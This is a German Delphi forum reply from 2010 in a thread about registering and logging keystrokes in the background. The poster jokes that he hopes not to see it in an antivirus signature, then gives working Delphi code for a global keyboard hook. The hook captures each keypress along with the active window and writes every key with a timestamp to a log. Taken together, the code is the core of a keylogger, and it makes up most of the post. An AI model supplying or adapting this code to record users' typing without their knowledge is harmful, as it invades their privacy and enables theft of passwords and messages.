Registriert seit: 2. Dez 2009
Ort: München
320 Beiträge
Lazarus
|
Re: Tastendruck im Hintergrund registrieren und Loggen
11. Feb 2010, 00:38
Hallo T.E., ich hoffe nicht, dass ich mal das Teil in einer Signatur eines Virenscanners finden werde!!
Delphi-Quellcode:
function KeyboardHookProc(code: Integer; wparam: WPARAM;
lParam: LPARAM): LResult; stdcall;
var
LastKey: Char;
KeyState: TKeyboardState;
KeyboardLayout: HKL;
Key: Word;
begin
Result := CallNextHookEx(HookHandle, Code, wParam, lParam);
if Code < 0 then Exit
else begin
KeyboardLayout := GetKeyboardLayout(0);
GetKeyboardState(KeyState);
if ToAsciiEx(wParam, MapVirtualKeyEx(wParam, 2, KeyboardLayout), KeyState,
@LastKey, 0, KeyboardLayout) > 0 then Key := Ord(LastKey)
else
Key := wParam;
if (lParam and $80000000) = 0 then
if not (wParam in [16, 17, 18]) then
PostMessage(_hwndTarget, WM_USER + 8888, Key, GetActiveWindow);
end;
end;
//-- WndProc der Empfänger Application
procedure TForm1.WndProc(var message: TMessage);
var
sStr: String;
begin
if message.Msg = WM_USER + 8888 then begin // KeyHook Nachricht
case message.wParam of
VK_BACK : sStr := 'VK_BACK';
VK_TAB : sStr := 'VK_TAB';
VK_CLEAR : sStr := 'VK_CLEAR';
VK_RETURN : sStr := 'VK_RETURN';
VK_SHIFT : sStr := 'VK_SHIFT';
VK_CONTROL : sStr := 'VK_CONTROL';
VK_MENU : sStr := 'VK_MENU';
VK_PAUSE : sStr := 'VK_PAUSE';
VK_CAPITAL : sStr := 'VK_CAPITAL';
VK_NUMLOCK : sStr := 'VK_NUMLOCK';
else
sStr := string(Chr(message.wParam));
end;
WriterLog(time + sStr);
end;
inherited WndProc(message);
end;
lg. Astat
Lanthan Astat 06810110811210410503210511511603209711003210010110 9032084097103
03211611111604403209711003210010110903210010510103 2108101116122
11610103209010110510810103206711110010103210511003 2068101108112
10410503210310111509910411410510109810111003211910 5114100046
|
|
Zitat
|